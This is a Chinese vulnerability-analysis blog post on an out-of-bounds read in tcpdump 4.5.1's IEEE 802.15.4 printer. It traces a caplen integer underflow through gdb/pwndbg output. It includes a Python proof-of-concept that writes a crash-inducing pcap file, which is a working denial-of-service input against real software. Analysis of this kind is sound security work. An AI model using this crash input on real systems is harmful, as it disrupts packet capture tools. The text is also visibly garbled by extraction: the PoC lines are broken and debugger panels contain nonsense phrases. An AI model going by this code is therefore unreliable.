Kaka / 2018-11-27 07:45:00 / 浏览数 3462 技术文章 技术文章 顶(3) 踩(0)

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第一次做漏洞分析,有什么错误的地方欢迎各位提出
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```
分析环境
  ubuntu16.04 x86_64
  gdb with pwndbg
  tcpdump 4.5.1
  poc
编译安装tcpdump
$ sudo apt-get install libpcap-dev
$ dpkg -1 libpcap-dev
$ wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ cd tcpdump-4.5.1/
$ ./configure
$ make
$ sudo make install
利用poc生成pcap文件
poc:
from subprocess import call
from shlex import split
from time import sleep
def crash():
  command = 'tcpdump -r crash'
           = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
  buffer
           buffer
           buffer
           buffer
           += "\x00\x17g++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
  buffer
           += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00"
  buffer
           += '\x00\x00\x00\x00\x01\x03\x03\x04'
  buffer
  with open('crash', 'w+b') as file:
     file.write(buffer)
  trv:
     call(split(command))
     print("Exploit successful!
  except:
     print("Error: Something has gone wrong!")
def main():
  print("Author: David Silveiro
                                                    ")
  \verb|print(" tcpdump version 4.5.1 Access Violation Crash|\\
  sleep(2)
  crash()
if __name__ == "__main__":
  main()
调试
读入生成的pcap文件,并运行
```

```
Program received signal SIGSEGV, Segmentation fault.
hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=
91
     s2 = *cp++;
```

```
AND DESCRIPTION OF THE PROPERTY OF THE PROPERT
RAX 0x2e
RBX 0x2e
RCX 0x0
RDX 0x7fffff79425e0 ( nl C LC CTYPE class+256) ■— add
                                                                                                                                                                             al, byte ptr [rax]
RDI 0x7fffffffcf90 ■— 0x3030203030303020 (' 0000 00')
RSI 0 \times 0
R8
              0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ')
R9
              0 \times 0
R10 0x1
R11 0x0
R12 0x843001
R14 0x5
R15 0x7ffffffffcfca ■− 0x2e2e2e2e2e /* '.....' */
RBP 0x2e
RSP 0x7ffffffffffff ■- 0x0
RIP 0x40c8b7 (hex_and_ascii_print_with_offset+103) ■— movzx ebx, byte ptr [r12 - 1]
THE STATE OF THE S
■ 0x40c8b7 <hex_and_ascii_print_with_offset+103>
                                                                                                                                                            movzx ebx, byte ptr [r12 - 1]
                                                                                                                                                            mov
                                                                                                                                                                             rax, r13
      0x40c8bd <hex_and_ascii_print_with_offset+109>
                                                                                                                                                                                esi, 0x29
      0x40c8c0 <hex_and_ascii_print_with_offset+112>
                                                                                                                                                           mov
                                                                                                                                                                             rax, rdi
      0x40c8c5 <hex_and_ascii_print_with_offset+117>
                                                                                                                                                           sub
                                                                                                                                                                              rsp, 8
      0x40c8c8 <hex_and_ascii_print_with_offset+120>
                                                                                                                                                           sub
                                                                                                                                                          mov
                                                                                                                                                                              r8d, 0x473d00
      0x40c8cc <hex and ascii print with offset+124>
                                                                                                                                                                              rsi, rax
      0x40c8d2 <hex_and_ascii_print_with_offset+130>
                                                                                                                                                            sub
      0x40c8d5 <hex_and_ascii_print_with_offset+133>
                                                                                                                                                           mov
                                                                                                                                                                                 ecx, 0x29
      0x40c8da <hex_and_ascii_print_with_offset+138>
                                                                                                                                                           mov
                                                                                                                                                                                  edx. 1
      0x40c8df <hex_and_ascii_print_with_offset+143>
                                                                                                                                                       mov
                                                                                                                                                                                 rdi, r13
      0x40c8e2 <hex and ascii print with offset+146>
                                                                                                                                                           mov
                                                                                                                                                                                  ebp, r9d
SOURCE (CODE) ]
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-ascii.c
      86 nshorts = length / sizeof(u_short);
      87 i = 0;
      88 hsp = hexstuff; asp = asciistuff;
      89 while (--nshorts >= 0) {
      90 \text{ s1} = *cp++;
 \blacksquare 91 s2 = *cp++;
      92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
      93
                        " %02x%02x", s1, s2);
      94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
      95 *(asp++) = (isgraph(s1) ? s1 : '.');
      96 *(asp++) = (isgraph(s2) ? s2 : '.');
STACK | STACK 
00:0000■ rsp
                                            0x7fffffffffff ■− 0x0
                                               0x7ffffffffffff ■- 0x100822577
01:0008
                                                cl, byte ptr [rcx] /* '\n\t' */
02:0010
                                                0x7fffffffcf88 ■− 0xffffffff300020a70
03:0018
04:0020■ rdi
                                               0x7fffffffcf90 ■− 0x3030203030303020 (' 0000 00')
                                               0x7fffffffcf98 ■- 0x20303030203030 ('00 0000 ')
05:0028■
                                                0x7fffffffcfa0 ■- '0000 0000'
06:0030■
07:0038■ r13-1 0x7fffffffcfa8 ■- 0x3020303030300030 /* '0' */
从崩溃信息来看,问题出现在print-ascii.c文件中,访问到了一个不允许访问的地址。再结合源码信息可知,指针cp在自加的过程中访问到了一个没有权限访问的地址,因为
 = length / sizeof(u_short);可知,可能是函数传入的参数length没有控制大小导致,因此目标就是追踪length是如何传入的。
```

通过bt回溯一下调用情况

```
pwndbg> bt
#0 hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, ler
   0x00000000040aa7d in ieee802_15_4_if_print (ndo=0x820140 <Gndo>, h=<optimized out>, p=<optimized out>) at ./print-802_15_
   0x00000000045bb9f in print_packet (user=0x7fffffffd2e0 "@\001\202", h=0x7fffffffd1d0, sp=0x822570 "@\377") at ./tcpdump.c
#3 0x00007fffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
   0x00007fffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#5 0x000000000403f27 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffe548) at ./tcpdump.c:1569
#6 0x00007fffff77eb830 in __libc_start_main (main=0x4030e0 <main>, argc=3, argv=0x7fffffffe548, init=<optimized out>, fini=<optimized out>
```

```
#7 0x0000000000404cd9 in _start ()
追踪一下从main函数开始,每个函数的执行流程
pcap_loop()
■ 0x403f22 <main+3650> call pcap_loop@plt <0x4027a0>
                  rdi: 0x8222c0 -■ 0x7fffff7bb3a40 ■- push r15
                  rsi: 0xffffffff
                  rdx: 0x45bb50 (print_packet) ■- push r12
                  rcx: 0x7fffffffcbd0 -■ 0x820140 (Gndo) ■- 0x0
在跟进pcap_loop()函数的过程中,遇到一处call,步入看看
■ 0x7fffff7ba41ca <pcap_loop+42>
                                                                                         call 0x7fffff7bb3a40
来到了bpf_filter函数,注意第三个参数就是我们传入crash数据包的len,然而到后面发现,其实与这个值无关
                                                 call bpf_filter <0x7fffff7bba870>
0x7fffff7bb3aa9
                 rdi: 0x825c30 ■− 0x4900000006
                 rsi: 0x822570 ■- 0x7f72a00600ff40
                  rdx: 0x379c3c00
                  rcx: 0x8
pcap数据包内关键结构体
struct pcap_pkthdr {
                                                                              /* time stamp */
                  struct timeval ts;
                  bpf_u_int32 caplen;
                                                                                  /* length of portion present */
                                                                                  /* length this packet (off wire) */
                  bpf_u_int32 len;
};
                   使用010editer可以很容易的分析这个结构体
捕获.PNG
紧接着来到另一处函数调用
THE STATE OF THE S
    0x7fffff7bb3ab0 je
                                                                    0x7fffff7bb3ace
                                                   add ebp, 1
    0x7fffff7bb3ab2
    0x7fffff7bb3ab5 mov
                                                                     rdx, qword ptr [rsp + 0x18]
                                                                   rsi, r12
    0x7fffff7bb3aba
                                                   mov
    0x7fffff7bb3abd
                                                   mov
                                                                       rdi, qword ptr [rsp]
                                                    call r15 <0x45bb50>
■ 0x7fffff7bb3ac1
                  rdi: 0x7fffffffcbd0 -■ 0x820140 (Gndo) ■- 0x0
                  rsi: 0x7fffffffcac0 ■- 0x8000
                  rdx: 0x822570 ■− 0x7f72a00600ff40
     0x7ffff7bb3ac4 cmp ebp, r14d
     0x7fffff7bb3ac7
                                                   jl
                                                                       0x7fffff7bb3ace
     0x7fffff7bb3ac9
                                                   test r14d, r14d
     0x7fffff7bb3acc
                                                                       0x7fffff7bb3b30
                                                   jg
                                                 mov eax, dword ptr [rbx + 0x34]
     0x7fffff7bb3ace
跟进去以后
0x45bb73 <print_packet+35>
                                                                                 mov
                                                                                                     eax, dword ptr [rbx + 0x10]
     0x45bb76 <print_packet+38> mov rdx, qword ptr [rip + 0x26c2db] <0x6c7e58>
    0x45bb7d <print_packet+45> add rax, rbp
    0x45bb80 <print_packet+48> mov qword ptr [rdx + 0xe0], rax
    0x45bb87 <print_packet+55> mov
                                                                                                        edx, dword ptr [r12 + 0x10]
    0x45bb8c <print_packet+60>
                                                                                   test
                                                                                                      edx, edx
BELLEVILLE STATE OF THE STATE O
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
    1942 /*
```

1943 \star Some printers want to check that they're not walking off the

1945 * Rather than pass it all the way down, we set this global.

1944 * end of the packet.

```
1946 */
■ 1947 snapend = sp + h->caplen;
   1948
   1949
                         if(print info->ndo type) {
   1950
                                        hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
   1951
                          } else {
   1952
                                        hdrlen = (*print_info->p.printer)(h, sp);
首先把caplen(vlaue = 8)传进来
来到下面这个地方
THE STATE OF THE S
   0x45bb8c <print_packet+60>
                                                     test edx, edx
   0x45bb8e <print_packet+62> je
                                                                    print_packet+168 <0x45bbf8>
   0x45bb90 <print_packet+64> mov
                                                                    rdx, rbp
   0x45bb93 <print_packet+67> mov
                                                                    rsi, rbx
   0x45bb96 <print_packet+70>
                                                       mov
                                                                    rdi, qword ptr [r12]
■ 0x45bb9a <print_packet+74>
                                                                   qword ptr [r12 + 8] <0x40a8c0>
                                                        call
   0x45bb9f <print_packet+79>
                                                        mov
                                                                     rdx, qword ptr [rip + 0x26c2b2] <0x6c7e58>
   0x45bba6 <print_packet+86>
                                                        mov
                                                                     ecx, dword ptr [rdx + 0x40]
   0x45bba9 <print_packet+89>
                                                        test
                                                                    ecx, ecx
   0x45bbab <print_packet+91>
                                                        je
                                                                     print_packet+193 <0x45bc11>
   0x45bbad <print_packet+93>
                                                        cmp
                                                                     ecx, 1
SOURCE (CODE)
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
   1945 * Rather than pass it all the way down, we set this global.
   1946 */
   1947 snapend = sp + h->caplen;
   1948
   1949
                          if(print_info->ndo_type) {
1950
                                        hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
   1951
                           } else {
   1952
                                        hdrlen = (*print_info->p.printer)(h, sp);
   1953
   1954
   1955 if (Xflag) {
程序call了一个函数,这个函数就是<ieee802_15_4_if_print>函数,这个函数定义在print-802_15_4.c中,</ieee802_15_4_if_print>
u int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                                    const struct pcap_pkthdr *h, const u_char *p)
printf("address : %x\n",p);
u_int caplen = h->caplen; //
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) \{ //
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3i//\blacksquarecaplen = 5
ND_PRINT((ndo, "IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo, "seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
if (!vflag) {
p+= hdrlen;
```

```
caplen -= hdrlen;
} else {
u_int16_t panid = 0;
switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo, "none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
\label{eq:nd_print} \mbox{ND\_PRINT((ndo,"\$04x:\$s ", panid, le64addr\_string(p)));}
break;
ND_PRINT((ndo,"< ");
switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo, "none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
                        ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
caplen -= hdrlen;
```

传入的第二个值是struct pcap_pkthdr

0x40aa81 <ieee802_15_4_if_print+449>

*h结构体,函数使用的参数caplen就是结构体中的caplen,上面代码中也已经标注一部分,对于caplen操作的关键代码在第10行开始的,直接上面看这些代码对我我这样的第

直接跟进函数,看看最后赋值情况

```
HARRING TO THE CONTROL OF THE CONTRO
       0x40aa63 <ieee802_15_4_if_print+419>
                                                                                                                                                                test esi, esi
       0x40aa65 <ieee802_15_4_if_print+421> jne
0x40aa6b <ieee802_15_4_if_print+427> mov
                                                                                                                                                                                                  ieee802_15_4_if_print+137 <0x40a949>
                                                                                                                                                                                                  dword ptr [rsp + 0xc], eax
       0x40aa6f <ieee802_15_4_if_print+431>
                                                                                                                                                                     mov
                                                                                                                                                                                                  rsi, qword ptr [rsp]
        0x40aa73 <ieee802_15_4_if_print+435>
                                                                                                                                                                     mov
                                                                                                                                                                                                   rdi, r15
 ■ 0x40aa76 <ieee802_15_4_if_print+438> call qword ptr [r15 + 0xf0] <0x45b270>
                           rdi: 0x820140 (Gndo) ■− 0x0
                           rsi: 0x822585 ■— 0x0
                           rdx: 0xfffffff3
                           rcx: 0x7fffffeb
        0x40aa7d <ieee802_15_4_if_print+445>
                                                                                                                                                                  mov
                                                                                                                                                                                                  eax, dword ptr [rsp + 0xc]
```

add

rsp, 0x18

```
0x40aa86 <ieee802_15_4_if_print+454>
                                                                         pop
   0x40aa87 <ieee802_15_4_if_print+455>
                                                                         pop
                                                                                     r12
再次调用另一个函数地址为<0x45b270>,此时传入的第三个参数即caplen已经变成一个很大的值0xfffffff3
pwndbg> x/2i 0x45b270
   0x45b270 <ndo_default_print>:
                                                           mov
                                                                       edi,0x47fe57
   0x45b275 <ndo_default_print+5>:
                                                              jmp
                                                                           0x40ca80 <hex_and_ascii_print>
可知该函数会继续跳转执行函数,继续跟进去
■ 0x45b275 <ndo_default_print+5>
                                                                                                    hex_and_ascii_print <0x40ca80>
                                                                                           jmp
    1
   0x40ca80 <hex_and_ascii_print>
                                                                                           xor
                                                                                                       ecx, ecx
   0x40ca82 <hex_and_ascii_print+2>
                                                                                                    hex_and_ascii_print_with_offset <0x40c850>
                                                                                           jmp
最终来到了hex_and_ascii_print_with_offset 函数,也是我们回溯调用的时候的最后一个函数
RAX 0x7ffffff9
RBX 0xfffffff3
RCX 0x0
RDX 0xfffffff3
RDI 0x47fe57 ■— or
                                         cl, byte ptr [rcx] /* '\n\t' */
RSI 0x822585 ■— 0x0
R8
        0x0
R9
        0x1c
R10 0x6
R11
       0x470fc9 \_ 0x41006e6f63616542 /* 'Beacon' */
R12 0x12
R13 0x822570 ■- 0x7f72a00600ff40
R14 0x3
R15 0x820140 (Gndo) ■- 0x0
RBP 0xff40
RSP 0x7ffffffffca08 ■- 0x12
RIP 0x40c85c (hex_and_ascii_print_with_offset+12) ■- push rbp
THE TOTAL CONTROL OF THE TOTAL
   0x40c852 <hex_and_ascii_print_with_offset+2>
                                                                                                    eax, edx
                                                                                       push
   0x40c854 <hex_and_ascii_print_with_offset+4>
                                                                                    push
   0x40c856 <hex_and_ascii_print_with_offset+6>
   0x40c858 <hex_and_ascii_print_with_offset+8>
                                                                                         push
   0x40c85a <hex_and_ascii_print_with_offset+10>
                                                                                         shr
                                                                                                       eax, 1
■ 0x40c85c <hex_and_ascii_print_with_offset+12>
                                                                                          push
   push
0x40c85e <hex_and_ascii_print_with_offset+14> lea
0x40c862 <hex_and_ascii_print_with_offset+14> lea
                                                                                                      rax, [rsi + rax*2]
   0x40c862 <hex_and_ascii_print_with_offset+18>
                                                                                                      r12, rsi
   0x40c865 <hex_and_ascii_print_with_offset+21>
                                                                                         xor
                                                                                                      r14d, r14d
   0x40c868 <hex_and_ascii_print_with_offset+24> sub
                                                                                                    rsp, 0x198
对应的的c如下
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;
除法以后,nshorts的值仍然很大,导致进行了过多的循环,使指针访问到了不可访问内存
思考
那么caplen这个值需要多大才可以呢?
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-802_15_4.c
  109
   110 seq = EXTRACT_LE_8BITS(p + 2);
   112 p += 3;
   113 caplen -= 3;
```

0x40aa85 <ieee802_15_4_if_print+453> pop

114

rbx

rbp

```
115 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
   116 if (vflag)
   117 ND_PRINT((ndo, "seq %02x ", seq));
   118 if (hdrlen == -1) {
   119 ND_PRINT((ndo,"malformed! "));
STACK | STACK 
00:0000 rsp 0x7fffffffca30 -■ 0x822573 ■- 0xb8fb78007f72a006
                         0x7fffffffca38 -■ 0x822570 ■- 0x7f72a00600ff40
01:0008
                          0x7fffffffca40 -■ 0x7fffffffcbd0 -■ 0x820140 (Gndo) ■- 0x0
02:0010
                         0x7fffffffca48 -■ 0x7fffffffcac0 ■- 0x8000
03:0018
                         0x7fffffffca50 -■ 0x822570 ■- 0x7f72a00600ff40
04:0020
                          0x7fffffffca58 -■ 0x7fffffffcbd0 -■ 0x820140 (Gndo) ■- 0x0
05:0028
                          0x7fffffffca60 -■ 0x7ffffffffcab8 -■ 0x822570 ■- 0x7f72a00600ff40
06:0030
                          0x7fffffffca68 ■— 0xffffffff
07:0038
BACKTRACE ]
■ f 0
                             40aa2a ieee802_15_4_if_print+362
   f 1
                             45bb9f print_packet+79
   f 2
                7fffff7bb3ac4
               7fffff7ba41cf pcap_loop+47
   f 3
   f 4
                            403f27 main+3655
   f 5
                7ffff77eb830 __libc_start_main+240
pwndbg> p caplen
$4 = 5
此时的caplen为5
124 if (!vflag) {
■ 125 p+= hdrlen;
   126 caplen -= hdrlen;
   127 } else {
   128 u_int16_t panid = 0;
//
   177 caplen -= hdrlen;
                                       printf("caplen : %d\n",caplen);
   178
■ 179 }
   180
                  printf("after : %p\n",p);
   181 if (!suppress_default_print)
   182 (ndo->ndo_default_print)(ndo, p, caplen);
   183
   184 return 0;
STACK |
00:0000 rsp 0x7fffffffca30 - 0x822585  - 0x0
01:0008
                          0x7fffffffca38 -■ 0x822570 ■- 0x7f72a00600ff40
02:0010
                          0x7fffffffca40 - 0x7ffffffffcbd0 - 0x820140 (Gndo) - 0x0
03:0018
                          0x7fffffffca48 -■ 0x7fffffffcac0 ■- 0x8000
04:0020
                          0x7fffffffca50 -■ 0x822570 ■- 0x7f72a00600ff40
05:0028
                          0x7fffffffca58 - \blacksquare 0x7fffffffcbd0 - \blacksquare 0x820140 (Gndo) \blacksquare - 0x0
06:0030
                          0x7fffffffca60 -■ 0x7ffffffffcab8 -■ 0x822570 ■- 0x7f72a00600ff40
```

BACKTRACE] ■ f 0 40aa5b ieee802_15_4_if_print+411 f 1 45bb9f print_packet+79 f 2 7fffff7bb3ac4 f 3 7fffff7ba41cf pcap_loop+47 f 4 403f27 main+3655 f 5 7ffff77eb830 __libc_start_main+240 pwndbg> p caplen \$13 = 4294967283 最后 caplen这个值为-13, 所以, caplen值最小为13+5+3=21 = 0x15 将数据包内的caplen字段修改成0x21以后没有再发生指针越界,此时的caplen为0,与len字段无关,甚至修改为0都可以。 pwndbg> run -r crash Starting program: /usr/local/sbin/tcpdump -r crashreading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS) 17:06:08.000000 IEEE 802.15.4 Beacon packet 0x0000: 2b2b 2b2b 2b2b 2b85 c903 0000 tcpdump: pcap_loop: bogus savefile header [Inferior 1 (process 122683) exited with code 01] 点击收藏 | 0 关注 | 2 上一篇:智能合约逆向心法2(案例篇)——3... 下一篇:java代码审计手书(三) 1. 0 条回复 • 动动手指,沙发就是你的了! 登录后跟帖 先知社区

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